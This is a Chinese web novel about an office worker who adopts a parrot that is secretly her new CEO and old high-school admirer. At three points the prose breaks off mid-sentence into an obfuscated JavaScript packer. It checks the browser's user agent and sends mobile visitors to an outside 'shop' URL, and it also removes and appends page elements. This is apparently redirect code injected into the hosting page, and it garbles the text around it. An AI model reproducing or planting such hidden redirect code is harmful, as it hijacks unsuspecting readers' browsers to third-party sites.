《总是毛绒绒》 1. 变鸟第一天 应峤在办公室的窗外捡到一只鹦鹉。 那时持续一下午的暴雨终于停了,屋里闷热得要命,应峤推开半扇窗子透气。 阴云余威犹在,一层压过一层挤在天边。楼宇、行道树、地面,触目所及的一切都是湿漉漉的。 包括……一只鹦鹉。 应峤垂眼,恰好看到它一边颤抖一边用一只爪子死死地扒着窗框,显得又狼狈又凄惨。 应峤惊呼一声,很快反应过来,小心翼翼尝试将它抓入自己掌心。 也许是冻傻了,也许是知道自己有救了,鹦鹉没有反抗,任由她将自己带入室内。 办公室只有三人,因此她一有动静,对桌的段姐就立刻探过头来,“这哪儿来的小鸟?” “我刚在窗子外面捡的,估计是迷路了。”应峤拿着张面巾纸,边擦边说。 “真给淋得够呛,小东西真可怜。”段姐语含怜惜。 她心疼这孱弱又漂亮的小东西。它通身是渐变苹果绿色,只有头顶浅黄,一看就是昂贵品种。不知道是哪个大户人家好吃好喝供着的,飞错了地方成了落汤鸡。 “我这儿有毯子,你给它裹上,别冻着了。” 秋风秋雨是温柔刀,段姐从身后扯出来一张毛绒绒的小毯子,又摸了俩暖宝宝递过来。 过了好一阵子,鹦鹉的羽毛才勉强干了。它似乎知道是谁救了自己,头乖顺地靠在应峤掌心,轻轻地蹭了几下。 就这一会儿功夫,窗外又开始淅淅沥沥地下雨。因此虽然已经下班,段姐也不急着走,干脆跟应峤边聊边看鸟。 “长这么好看,也不知道是谁的,要是没人管估计活不了几天。”段姐还有点忧愁。 “要不……”应峤拿不准段姐什么意思,略有试探。 “你想让我养?可别,带回家我儿子就没心思学习了,干脆你先养着吧。”段姐连连摆手,别看她喜欢,但孰轻孰重她还分得清。 再说了,她家招猫逗狗的混世魔王,下手没轻没重的,再给这小东西弄伤弄死了怎么办。 “我……”应峤欲言又止。对于突如其来的生命,她没有那么容易接受,更何况她还担心那个不知身在何处的鹦鹉的主人。 “担心啥,要是有人找来你再还给她就是了,说不定还要给你感谢费呢。”段姐连连劝她。 见她犹豫,鹦鹉竟然也有反应,用自己的喙轻轻地啄了她一口,两只黑豆眼目光炯炯地盯着她看。 有些滑稽,应峤心中一松,笑道:“你愿意吗?” 愿意啊,鹦鹉在心中猛点头,他可不是什么真鹦鹉,他是人。 他有名有姓叫沈靥星,是这家公司刚走马上任的新总裁。可惜出师未捷,刚待了几天就变成了一只鹦鹉。 至于应峤,沈靥星看着眼前之人,多年不见,他期待已久的初次相遇竟然是在这种情况之下。 他曾在脑海中无数次设想见面时该做什么表情,该说什么话。可惜现在都只能化作一声鸟叫。 “叽——!” 他心中五味杂陈。 应峤闻声又揉了揉他的脑袋,这令他振作起来。不是人算什么,有时候做鸟比做人还幸福。 他很快就接受了现状,振翅起飞,歪歪扭扭地飞到她的肩头,贴着她的下巴。 还没等他站稳脚跟,办公室的门突然被推开。人未到声先至,“应峤,你回来了!” 紧接着一颗卷毛脑袋出现在门口。 说话的是个很年轻的男生,两颗尖尖的虎牙随着话语声若隐若现。他捧着一大摞文件资料走进来,语气颇为亲昵。 普通人,对他没有威胁,沈靥星暗中评价。 “嗯。”应峤冲他笑笑,伸手将肩膀上的鹦鹉轻轻拂落。 “听说你前几天请假了,有要帮忙的就直说。” 哐的一声,卷毛把东西重重放下,边甩自己的胳膊边关切问道。 “没什么,家里有点事。”应峤含糊地揭过去。 “如果有用到我的地方,千万别客气。”卷毛目光灼灼。 “要帮忙你这小身板还得再练练,不过小应,他说的对,别什么事都自己扛。”段姐说得很实在。 应峤又笑了笑,“当然。” 关心完应峤,卷毛目光一转看到文件堆中一抹绿。他想也没想,“哎,这是什么?” 应峤想要遮挡却已经来不及,鹦鹉已经一口咬住他好奇的手指。 “痛痛痛,”卷毛夸张大叫,又有些委屈,“你什么时候养了鸟啊,还带到公司来,可别让领导看见了,要不然她又要对你有意见,最近她总提起你。” “提我干什么?”应峤眉头微蹙。难道给她两天假期领导后悔了? “你走当天空降了一个小沈总,对咱们部门比较重视,把每个人都问了一遍,这不你正好不在嘛。不过你放心,你事情做得那么好,他想找茬也没办法。”卷毛连说带比划,棕色小卷弹簧似的一晃一晃。 谁找茬?沈靥星看他的目光越发不善,早知道刚才咬得更狠一点。 “小沈总来了几天了?”应峤有些懊恼,她工作一年一次假都没请过,就连生病也被领导揪着准备会议,好不容易放过自己请两天休息搬家,没想到正好撞到新来的老板枪口上。 “两天…啊不,三天吧,大前天一早就到了。”卷毛回忆道。 事情回到三天之前。 卷毛所说的小沈总,也就是沈靥星,刚经过长途奔波,跨越时差从英国回到这座家乡小城,他的目的是接手一家濒临破产的公司。 这家小公司的老板是他的朋友。在公司摇摇欲坠之际,想到了他这棵救命稻草,于是恳求他能够帮助自己一把。沈靥星没有犹豫就答应了。 身边的人都劝他不要回去。在他们看来,留在英国他会有更好的发展空间。 更何况他失败的概率有九成,成功的概率只有一成。这对他来说根本算不上机会,更像是一场豪赌。 而只有沈靥星自己清楚,在这件事情上,他的确是一个赌徒。不过他赌的并不是公司的命运,而是一个人。 这个人正是应峤。 高中时他就喜欢应峤,本想循序渐进等培养出感情再表明心迹,谁知临近毕业,父母告诉他家里的生意重心已经转移到国外,他们要一起搬去英国生活。 得知消息的他如遭雷击,什么都顾不上考虑了,问应峤想不想自己留下。 应峤当时回答他,同学,希望你把握好机会,追求自己想要的生活。 暗恋应峤的人一只手都数不过来,她看自己的眼里没有半分多余的感情。沈靥星满腔热忱被浇灭,他想说如果你让我留下我就会留下,最后还是咽回了肚子里。 出国之后他一边练口语一边拼命念书,想要尽快回来好跟在应峤身边,却发现在时间的辗转中,应峤跟很多人都失去了联系。 包括他。 再后来,他辗转打听到应峤进了重点实验室工作,她谈了男朋友,生活依然忙碌,没过多久就分手了。 在看到她和男朋友挽手的亲密合照时,沈靥星恍然察觉,自己的感情并没有消退,反而越发的浓烈。 他嫉妒这个男人,觉得他面目可憎,甚至想要取而代之。 得知分手的消息后,他舒了一口气,他就知道应峤不会心仪这样的男人,或者就连他自己也不觉得有什么资格得到她的垂青。 深夜的时候,当万家灯火都沉寂下来,他会看着落地窗上自己的影子发呆。他现在有比之前更出众的容貌,更好看的背景,可是他知道他的内心多么糟糕,他是那么小肚鸡肠,占有欲强烈,以及空洞。 再后来,应峤突然辞职,销声匿迹,他慌张不已,却不敢大张旗鼓地打听她的下落。直到他的朋友请求他帮忙,无意间透露应峤回了老家,进入他的公司。 仿佛重获光明,沈靥星彻夜失眠,他想这也许是上天给他的一个机会,叫他重新回到那个认识应峤的地方。 于是时隔多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276776|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年,他终于又追随着她的脚步,几经周折地回到了这座令他魂牵梦萦的故乡小城。 因为决定太过于仓促,他并没有很合适的房子落脚,只是在酒店套房暂歇。 酒店定在公司附近,第一天出门之前。他特意提前两个小时收拾自己,换了六件衬衫,配了三条领带。才勉强定下来一套。 八点钟,他准时踏入公司大门。 从他进入公司起,就有不知道多少双眼睛看着他,将他的消息传遍公司的每一个角落。作为空降老板大家对于他的脾气性格、本领能耐并不了解。唯一能够直观感受到的就是他的英俊和年轻。 卷毛就是传播这个信息的一员,他对他的容貌津津乐道,说他是吸血鬼模样,模特的身材。一双腿又细又长,走路颇有气势,将西服穿得像高定一样。 只不过段姐不信,因为她见过太多男的,只是模样周正就说自己帅的惨绝人寰。只是普通人却对自己很有自信。 但是男人之间通常会有隐藏的相互嫉妒。卷毛对小沈总赞不绝口,也许他真的有那么帅,也未可知。 “你说咱们这个小地方,怎么能请来这么一尊大佛?”卷毛给大家点了咖啡,边喝边畅想着。 “咱老板有本事呗,虽然老板总是不着调,但曾经的人脉还在。说不定小沈总就是他的人脉呢,再说了,帅又不能当饭吃,还是得看实力。”段姐说。 “而且谁说小公司就迎不来大神,你看我们小应履历,学历哪个低人一头了?”段姐继续道。她把应峤当妹妹,说起她来都与有荣焉。 “对了,说起来应峤,她什么时候回来?”卷毛问道。 “估计快了吧,小沈总都来了,领导也不会让她休息太久。”段姐道。 “干什么呢,活都干完了?”他俩交头接耳半天,恰好部长从门外经过,转头训斥一句又走了。 卷毛吓得重新缩回座位上,段姐则是去打印机取了早就不知打好多久的材料。回来时两人又交换了一个眼神,意思是领导今天心情不错啊。 他们领导今天心情的确不错,是因为刚跟小沈总谈完话,整个过程平和顺利。因此她心中石头放了大半,见到谁都比平常和煦。 沈靥星之所以跟她和颜悦色,当然是顾及着应峤,想到应峤还在她手底下干活,他就没多为难。 不过这只是暂时的。沈靥星很快发现,应峤今天根本就没来上班,他企图在公司溜达一圈制造偶遇的想法破灭,颇为气闷地在沙发上呆坐。 坐也坐不了多久,不一会儿秘书推门而入,又递上来一沓资料,等着他慢慢看。沈靥星刚理完现金流,分析完近几个月的数据,又投入工作之中。 看着看着,他还忍不住分心,早知道刚才多问一句,应峤什么时候回来上班了。 第二天,沈靥星依旧满怀期望地换了一套新衣服,这次他穿了一身柔和的白,背后点缀着一节短的丝绸飘带。 他的此番亮相又是引起一番私底下小小的波动。这次段姐也见到了本人,她恰好跟沈靥星坐了同一趟电梯。 电梯是沈靥星按的,段姐看到他修长手指上浅金色戒指亮光一闪而过。 电梯空间狭小,段姐直感觉小沈总可谓是顶天立地,十分有压迫感,她思忖这人大概有一米九吧。 不仅身高惊人,脸也属实长得惊人,下颌线比她的事业线还要清晰,长眉压眼,睫毛在脸颊上投下一片浓重的阴影。 小沈总很礼貌,冲她点点头,露出一抹微不可查的笑容。段姐冷不丁地一哆嗦,觉得他皮笑肉不笑,等到电梯开门,就一个箭步冲了出去。 沈靥星换了个姿势放松站着,心中颇为满意,他知道段姐是应峤的同事,因此特意表示友好,想必段姐已经接收到。 信号段姐倒是接收到了,只不过效果跟沈靥星想得大相径庭。她满脑子想的只有以后的日子可能要难过了,这个小沈总怕是个手段惊人,雷厉风行的家伙。 第三天,应峤终于回来上班了。 2. 变鸟第二天 她刚回来就碰到沈靥星忙中偷闲制作了一份调查问卷,发给大家填写。 段姐看着其中的什么mbti啊,从小难以忘怀的经历啊,想要从工作中得到什么之类的问题一头雾水。她怀疑地去问应峤:“你之前的大公司都要填这么一套吗?” 应峤也是纳闷,一般这种东西会出现在几个无聊的大厂的招聘中,用刻板印象挑选员工,怎么现在还要做?一时间她对素昧谋面的小沈总印象变得不太好。 尽管印象不好,但调查问卷还是要填的,应峤简单地回答了其中的问题,就顺手交了上去。 另一边,沈靥星正忐忑地等待着这一份调查问卷的到来。整间公司几百人都只是一个幌子,他真正想要了解的人只有应峤。 但是当那份调查问卷真的抵达他的邮箱时,他却犹豫着始终没有点下鼠标。 他想看却又不敢看,像面对一个潘多拉魔盒。他与应峤的过去,只有这一张薄薄的屏幕相隔,只要打开,他那无尽的窥探欲就再也刹不住了。 就在他做了半天的思想建设,准备打开调查问卷之际,突然他感受到心脏一阵剧烈的跳动。继而头晕目眩,眼前一片漆黑。 他的世界像突然发生了大爆炸一般,五彩斑斓的场景争先恐后地涌入他的脑海,而他的身体中翻涌着一阵阵浪潮。 血液鼓噪着流动,令他感受到难以言喻的痛苦。噼里啪啦的声音从遥远处传来,又好像落在他身体里,应峤也听到了,她循声看向窗外说,下雨了。 这场雨酝酿了很久,终于在这样一个初秋的午后下了下来。 再睁眼时,沈夜星已经变成了一只鹦鹉,他办公室里的一切都变得庞大,庞大到甚至令人感到恐惧。他操纵着身体想要站起来,扇动翅膀时却发现自己已经浮在了半空中。 他飞起来了,但他却不知道该怎么飞。因此他一不小心就撞翻了书桌面上笔筒,撞散了架子上的文件,然后跌跌撞撞地飞出了窗外。 大雨将他的羽毛淋湿,也让他失去了方向。他不知道自己将要飞去哪里,也不知道自己飞了多久,直到他感受到深深的寒冷令他难以忍受,他才勉强降落在一片窗台上。 仿佛天意一般,雨停了。窗子缓缓打开,露出了应峤的脸。那张脸是那么的熟悉,又那么的陌生。她惊讶地看着自己,俯下身子,用手轻轻地拢住了他。 在应峤身上扑腾了一会儿,他突然停了下来。当变成鸟和遇到应峤的惊异褪去之后,真实感悄悄地降临。 沈靥星突然僵住了,他像一个小鸟玩具一样站在应峤的桌子上,歪着脑袋看着她认真工作的侧脸,就像高中时代他隔着好几排座位偷偷的看她写作业的样子。那时他们的距离犹如银河那样远,而此时他们的距离又那样的近。 应峤好像一直都没有变过。而他却变成了一只鸟。也许应峤不会认出他,可这样却能离她更进一步。 两种想法在他脑海里激烈的打架。还没等他想个所以然出来,应桥已经完成了今天的工作,准时下班。她收拾好自己的东西,又轻轻地抓起小鸟放进口袋里。 就这样,沈靥星跟着应峤回了家。这让他又更接近应峤一步,多了解应峤一分。每一点细微的变化都会令他惊喜。 应峤家很干净,甚至干净的有些不近人情。她的东西极少,整齐地摆放着,仿佛一个装修好的高级样板间,等待人来参观。沙发是黑色皮质的,下面铺了一张米灰色的斑纹地毯,桌子是石膏板白,所有的布艺都只有黑白灰三色,整体色调是冰冷的。 这跟沈靥星印象中的应峤大相径庭,应峤应当是温暖的、热情的,像骑士一样守护着每一个人。她在他心中是明黄色的,而不是现在这样。 应峤放下包,脱掉衣服和鞋子,第一件事是走到客厅疲惫地坐下。坐了一会儿,她才起身,去厨房煮了一袋速冻饺子吃。 在这之前她也没忘记给鹦鹉找个小碗装粮食吃。 沈靥星想要跟她一起,于是扑腾着翅膀练习飞行,他的目的地是厨房,不过中途出了点意外,差点没刹住车一头扎进锅里,变成一锅鸡汤。 应峤被他吓得心脏差点停跳,方才的沉郁一扫而空。她眉头微皱,故意板着脸,严肃训斥道:“这里很危险,不能乱飞知道吗?” 为了让鹦鹉记住,她还特意将锅敲得砰砰响。沈靥星太久没被人这样直接训斥,却不觉得难受,他老老实实地点头,表示自己听到了。 吃饭的时候雾气蒸腾着,模糊了应峤的脸庞。她的眉眼像是浓雾之中的远山一样,温和而寂寥。沈靥星看得发愣,怎么也移不开视线。 吃到一半,她突然像想起来什么似的,对沈靥星说:“我给你起个名字吧,就叫芒果怎么样?你长得就好像一只青芒果。” 沈靥星非常捧场地叫了一声,表示同意了。不过他记得应峤最不喜欢的水果就是芒果。她怎么会给自己起名叫芒果呢? “怎么不会说话呢?难道是只小笨鸟?”应乔有些疑惑。饭也不知道吃。眼前的食盆是满当当的,这只“芒果”却不肯低头吃一口,反而直勾勾地盯着她瞧。 难道想吃她的饭? 于是应桥将自己的碗试探着推到了它的眼前。谁知道它果然伸头咬了一口。 其实沈靥星是看她看得走了神,只不过他也好奇,自己到底还能不能吃人类的食物。答案当然是不能,平常美味的食物在他口中变得索然无味。反而是食盆中的粮食,对他有莫大的吸引力。 一口饺子皮叼在嘴巴里,他吞也吞不下,吐也吐不出,一时间尬在原地,只能转过头去,掩饰自己的尴尬。应峤却觉得好笑。 既然养了鹦鹉,依应峤的性格就是要认真对待。晚上,当她洗漱完毕躺在床上,她开始仔细研究如何养鸟。 这一看不要紧,钱包又瘪了一层,手机里多出十几个订单,都是给鹦鹉买的鸟类用品。 她发现网上的人都把鹦鹉称作小鸡,小鸡小鸡,她在心中反复默念两遍,竟也觉得格外可爱。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276777|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 正如段姐所说,她捡到的这只小鸡是昂贵品种,学名应该叫做澳闪苹果绿。这种小鸡性格暴躁但实在美丽,应峤连看了几个秀自家小鸡反被咬人的视频,才恍然大悟,自己的“芒果”多么善良。 而善良的“芒果”正在她不知道的时候啄她的发夹,把她的护肤品瓶子当梅花桩跳来跳去。 沈靥星也没想到自己会这样,变成鸟之后他的好奇心似乎格外旺盛,应峤家每一个他没见过的东西他都要看,应峤的衣服口袋、围巾,任何一个他能钻进去的地方他都想钻。就连窗外传来几声狗叫他都要飞过去听听。 当然,他的听力也变得更好,应峤推开门的一瞬他就听到了。 出门倒水喝的应峤还没喝上水,就看到一只圆滚滚的绿毛绒冲她飞了过来。她一时没有反应过来自己已经养了鸟的事实,下意识躲避。这下可热闹了,沈靥星立刻张开嘴巴叽喳乱叫起来,边叫边绕着她飞。 应峤被它扰得头晕,快速地溜走喝水。谁知小鸡穷追不舍,她喝水它就站在她肩膀上点头,一下一下仿佛也在喝水。 应峤喝完了水,小鸡还在她肩膀上理毛,慢条斯理的不复刚才暴躁模样。 “去你窝里睡。”应峤要回去睡觉,于是赶它。 小鸡听懂了似的,恋恋不舍地歪头,在她脖子上蹭了蹭。应峤的睡衣是半高领,软软的。蹭完了它还不肯走,停了停又继续蹭,应峤站在卧室门口,突然福至心灵伸手过去轻轻摸了摸它看不太清楚的脖子。 无法上吊之物。 沈靥星这才心满意足地飞回去睡觉了。再不离开,他会忍不住咬应峤的耳朵。 第二日一大早,应峤就出门了。她今天有个早会,领导要求提前半小时到。她出门之前还看了一眼小鸡,比昨晚更蓬松,安稳地在窝里打盹。 也许是变成鸟耗费了太多精力,等到沈靥星睁眼已经天光大亮,他抬手挡住眼前的阳光,好一阵才清醒过来。 不对,他伸开自己的手掌,在眼前晃了晃。 他又变回人了。 此时他是在地板上半躺着的,意识到这一点之后立刻站了起来冲进卫生间。 果然,在卫生间的镜子上清晰地印出了他的样貌。 是他自己,他摸了摸自己的脸庞,柔软温暖富有弹性,是人类的皮肤。 就是他的眼睛有些不对劲,他凑近镜子,仔细地看自己的瞳孔,当中泛起一点点绿,跟他的羽毛是同一种颜色。 “小应,你的眼睛是不是有点奇怪?”段姐刚跟应峤打完招呼,突然神色一顿,仔细端详了她一番。 “嗯?”应峤没反应过来,“我的眼睛怎么了?”她的眼睛并没有任何不适。 “你眨眨眼。”段姐指挥道。 应峤照做了,无事发生。 “真是奇怪了,我刚才明明看见……”段姐小声嘟囔着,“没事了没事了,可能我看错了吧。” 她刚刚明明看见,应峤的眼睛中绿光一闪。 3. 变鸟第三天 虽然段姐跟应峤说了眼睛的事情,但是她一坐到工位上就忙得晕头转向,眨眼间就把此事抛到了九霄云外。 她请了两天的假,属于她的那份工作也随之停摆,没有丝毫推进。等她一来,便拿出催命的架势来催她。 应峤按照轻重缓急把工作排序,挨个处理,等她再抬头时,已经快要到中午了。 她关掉电脑,眨眨眼,觉得酸涩异常,脑中不禁划过今早段姐对她说的话。她对着手机镜头照来照去,变换了好多角度,都没发现异样。 也许是看错了吧。 一道短信跳出来,是领导:「你把那个报告拿给沈总看一下,我这几天有事不在。」 「这份报告还没有拿给总监审批签字。」 「不用了,我跟他说过了,沈总看完改完就可以继续推进。」 应峤皱起眉头,她不是很想越级汇报,但领导开口,又如此不容拒绝,她也只能照办。 不过现在已经是一点过,应峤不想加班,也不想在休息时间对上小沈总,于是决定先去食堂随便吃点东西。 因为到得晚,食堂的饭已经所剩无几。她对吃饭也不是很有欲望,只是盛了点黑米饭和两份蔬菜。几口吃完,她回去又看了一遍自己手头的材料,确认没问题才跟秘书预约时间。 秘书对她倒是客气,说沈总最近行程比较忙,估计要后天上午才有时间。 应峤也做好不能立即见到的准备,毕竟她只是一个小职员。但是很快秘书又主动打来电话,说今天下午四点钟左右,沈总可以留半个小时出来听她汇报。 峰回路转,应峤原本松弛下来的心又绷紧了。 小沈总的办公室单独在一层,一踏出电梯,首先看到的是延伸至脚下的地毯。再往前走,整条走廊都是静悄悄的,仿佛穿行在荒废的实验大楼。 阳光通过偌大的窗子遍洒在她身上,却不让她觉得舒适,反而像回到了过去。 等不知道绕了几个弯,快要走到尽头的时候,小沈总的办公室才豁然出现。这时她才发觉,这间办公室与她所在的正处在一条对角线的两端。 她敲了敲门,听到里面隐隐传来一声请进,才推门进去。外面一层是会客室,再往里一间才是小沈总的办公室。地面上依旧铺了地毯,她的每一声足音都陷在其中。 朦胧的玻璃后,一道挺拔的人影正垂首看文件。应峤突然想起卷毛对他的评价,一个英俊的男人只看轮廓也是英俊的。小沈总就是这样的人。 等到小沈总抬起头来,与她对视,应峤莫名心中一跳,这张脸叫她莫名有些眼熟。 她首先注意到的是小沈总的眼睛。 窗外日光变幻,他的眼睛由棕转绿,像宝贵的橄榄石。对他对视的时间越久,她便觉得这双微微碧色的眼瞳仿佛一个深不可见的漩涡,将她深深的吸住。 在她看小沈总的同时,沈靥星也在看她。 她能得出自己吗?沈靥星分辨着她的表情,企图找出一点能够慰藉他的蛛丝马迹。很可惜,应峤很快打破他的幻想。 “沈总好。”应峤很礼貌,甚至有些不好意思,毕竟按照她的性格,看这么久已经属于失态。 沈靥星有些失望,虽然他已经做好心理准备,却还期待着久别重逢的惊喜。不过他很快调整好,轻轻点头。 应峤原本以为他会说什么,他却一言不发。 其实沈靥星不知道该如何称呼她。高中时,应峤身边总是围着许多人,她们用各种有创意的、千奇百怪的昵称亲切地称呼她。但他一次都没有过,他们之间甚至没有近距离地接触过。 现在这间空旷的办公室里只有他们两个人,沈靥星却觉得这里无比的逼仄,逼仄到他们仿佛是紧紧挨着。应峤应当能够听得到他的心跳。 他的心中千回百转,面上确实八风不动的平稳,以至于应峤丝毫看不出他的思绪起伏。反而觉得小沈总看起来神情严肃,眉头微微蹙着,一派心思深沉难以摸清的样子。 这样的老板都喜欢专业的下属,越年轻越需要对方认真对待。于是她也不敢有所怠慢,摆出了自己久经沙场的职业微笑,将材料递了上去。 谁知沈靥星猛地从椅子上站起来,伸手去接。结果反倒打翻了桌子上的一杯咖啡,深褐色的液体顺着桌面缓缓流淌。 真是不中用,他在心中暗骂自己。想留个好一些的初印象,现在完全弄砸了。 应峤下意识将附近的文件搬开,沈靥星也附身过来扶正杯子,两人距离越发地近,近到就像他是鹦鹉时那样。 他头顶痒痒的,甚至想要蹭一蹭应峤的手。 熟悉的感觉再一次袭上心头。应峤忍不住看了一眼沈靥星的侧脸,这样分明的轮廓,究竟从哪里见过? 重新坐回位置的沈靥星还在懊恼,只不过他表面上依旧维持着优雅体面,实则内里他十分清楚,自己还是当年那个拘谨羞涩的,翘首期盼着应峤的垂青的少年。 这个小插曲也让应峤心中犯嘀咕,她觉得有些怪,眼前这个年轻得过分的小沈总,真的能够改变这间公司的命运吗? 不过这都不是她想要关心的,她并没有在一个公司安稳生活一辈子的念头,这里只不过是她短暂的归宿,一个避风港而已。她因为在外面遭受了狂风暴雨,以至于心灰意冷,才会选择这里找寻内心片刻的安宁。 沈靥星看材料的速度很快,几乎是一目十行,甚至他同时在心中把开支也算了一遍。应峤的这份方案堪称完美,但他还想听听她怎么说。 于是他放松了身体,歪了歪头,问:“能不能跟我说说你对于风险的预估?” 对应峤来说这是个很简单的问题,她做事是滴水不漏的,更何况在这个领域可以说整间公司没有人比她更了解。因此她此刻娓娓道来,没有丝毫阻碍。 做下属大多时候都是要及时汇报,告诉领导工作正在平稳地进行,并且适时堵上领导的嘴,让他不要提出太过分的要求来。应峤深谙此道,沈靥星也比她想象中温和。 他听完,沉吟片刻,并没有提出特别大的修改意见。只是说好,那就这么办吧。应峤点点头,又说了几句客套话,便准备离开。 还没等她走到门口,突然沈靥星又出声了:“等一下。” 应峤疑惑地转身,以为他要变卦,或者是有了什么新想法。但紧接着她见到小沈总那镇定自若的脸上展现出一抹复杂的神情。继而他又摇了摇头说:“没事了,你出去吧。” 他的声音有些粗哑,放在腿上的手正在颤抖,缓缓地握紧,似在努力抵御什么。 应峤没有察觉出什么异样,推门离开了。 她的脚步很轻很轻,沈靥星却听得一清二楚,他听到她走了多远,又听到电梯叮一声到达。而后他才慢慢地、慢慢地闭上眼睛。 此时他的背后已经渗出一层冷汗。 刚才一阵熟悉的感觉袭来,他的心跳狂跳,血液逆流。他知道自己又要变成鹦鹉了,只是他不能在应峤眼前变,否则一起都暴露了。应峤可能会害怕他,远离他,绝不会将他带回家。 他紧紧地咬着牙,咬到浑身颤抖,额上青筋跳动。等电梯缓缓下行,彻底消失在这一楼层时,沈靥星终于坚持不住。 办公椅上的空间水波样流动,之后一只鹦鹉于其上飞了出来,只不过这一次它的动作灵活了许多。 应峤去茶水间,倒了杯美式喝掉,冰冷的液体顺着喉咙流下,醒了醒神儿。她才重新走回办公室去。段姐不在,只有卷毛好奇地凑上来问:“见到小沈总了吗?他是不是长得很像模特。” 他的热情程度,让应峤想起来自己曾经的那些深藏不露的给子同事们。 应峤点了点头,回忆起那张脸庞,难得的没有反驳。她还没说什么,正要坐回工位上时,突然卷毛惊叫一声说:“你的眼睛怎么了” 应桥闻言一愣,同样的话,段姐今天早上也好像对她说过,难道她的眼睛真的出现了问题,绿眼病还会传染? 应峤眨眨眼的功夫,卷毛已经从桌上拿出他的小镜子举到她的面前。镜中是一张白皙面孔,她长得可爱,偏偏气质冷淡,不笑时有一种矛盾感。 平日里鲜少有表情的脸突然生动了些,应峤挑眉,睁圆了眼睛,反复对光看了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276778|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍,才发觉自己瞳孔边缘那一圈似乎真的隐隐的发绿。不过不仔细看并看不出来,像戴了并不明显的美瞳。难道她得了什么奇怪的疾病,反应到了眼中? 这下应峤再难保持心中平静,打开手机给自己挂号,去发现已经满员,于是只能去急诊。等到沈靥星轻车熟路飞到应峤办公室,却吃了个闭门羹。 它一扭头,走廊挂钟硕大的五点半提醒他早已下班了。 五点半,跟昨天几乎同步的时间。 难道这就是他变为鸟的规律?沈靥星一边琢磨一边飞向窗子。 幸好没关,要不然就要露宿街头了。他降落在应峤的办公桌上,钻进她的笔筒,心中略有怅惘。可惜可惜,今晚不能跟应峤回家了。 到了急诊的应峤被医生简单地看了一下眼睛,没有什么异样。原本幽幽发绿的瞳孔进了医院突然就正常了起来,无论怎么观察都是漆黑一片。 医生以为她过于焦虑导致了错觉,于是好言安慰几句,说现在也不会让她不舒服,不如再观察几天。 医生既然这样说了,应峤也不再纠结,或许只是光线折射进了她的眼睛引发的错觉。于是打算回家。 走到半路,突然手机震动起来,昨晚下单的鸟粮和笼子都到货了,地址是默认地址,在公司。她只好又折返回去。 公司已人去楼空,唯有大堂灯光闪烁,如同黑暗中蛰伏的猛兽的眼瞳。应峤到了办公室,灯啪得打开,白光遍洒屋子,她与两只小黑豆眼四目相对。 “芒果!”应峤有些意外。 被叫的小鸡骤然站起,纵身一跃,扑腾着翅膀飞到她肩头,歪着脑袋将她狠狠地蹭了一遍。 好热情。 应峤原本以为它的旧主人就在这间大楼里,所以它才会在她不在家时偷偷地飞回来,寻找它的主人。可现在她又不确定了。 或许它就是在等她,也只等她呢? 沈靥星不知道她心中所想,只觉得惊喜非常。他也不知道自己为何如此黏人,原本近十年的分别他都能接受,现在却不能了。 不过他很快就因鹦鹉的天性将这个变故抛之脑后,专心致志地拔下自己的羽毛插在应峤的发中。 应峤没有察觉,她心情不错,拆了快递举着笼子说:“看,这是你的新家。” 新家,多么美妙的称呼。 沈靥星也察觉到她沉寂的心中泛起的涟漪,在她肩头跳了两下。他翅膀掀起的微风拂动应峤发间那根浅绿色羽毛,使其颤巍巍地摇摆起来。 失而复得的小鸡变得格外的黏人。应峤做饭,它在地板上亦步亦趋,应峤吃饭,它也要啄几口米粒。就连应峤工作,它也在旁边边看边点头。 “看得懂吗你。”应峤笑着戳它一指头。 沈靥星十分配合地仰倒装死。 不过倒是把应峤吓了一跳,以为它真的出了意外。 半夜,轻微失眠的应峤在网上发了一个求助贴: 「昨天我捡到一只鹦鹉,它总是蹭我,围着我叫,我去哪儿它都要跟着,请问是身体不舒服需要我帮它吗?」 屏幕白光映照下,应峤显得有些担忧。她的小鸡很笨,不会讲话,不知道什么时候开始流浪的,说不准有暗伤呢? 于是应峤继续补充道「而且它有些瘦,我怀疑可能在外面受过伤。」后面附上一张小鸡他拍图。 很快下面涌现一大批评论。 「小鸡:爱你爱你爱你爱你」 「人:它是有病吗?」 「和猫一直响的坐一桌」 「woc开到绝世好鸡了,不是老虎钳。」 「主包你知不知道刀胸,就是孩子饿得胸中间都有缝了。」附一张小鸡胖成球的照片。 「你应该问我家牡丹咬人出血吗?」 应峤似懂非懂地看了半天,终于明白她的小鸡没有毛病,只是天性如此,以及她的小鸡是太胖了…… 真是恶语伤鸡心。 应峤选择没看到,但她路过鹦鹉笼子的时候,犹豫了片刻还是将里面的鸟粮倒出来了一部分。 她是不是该对小鸡负责? 4. 变鸟第四天 第二天,沈靥星如期变回了人。 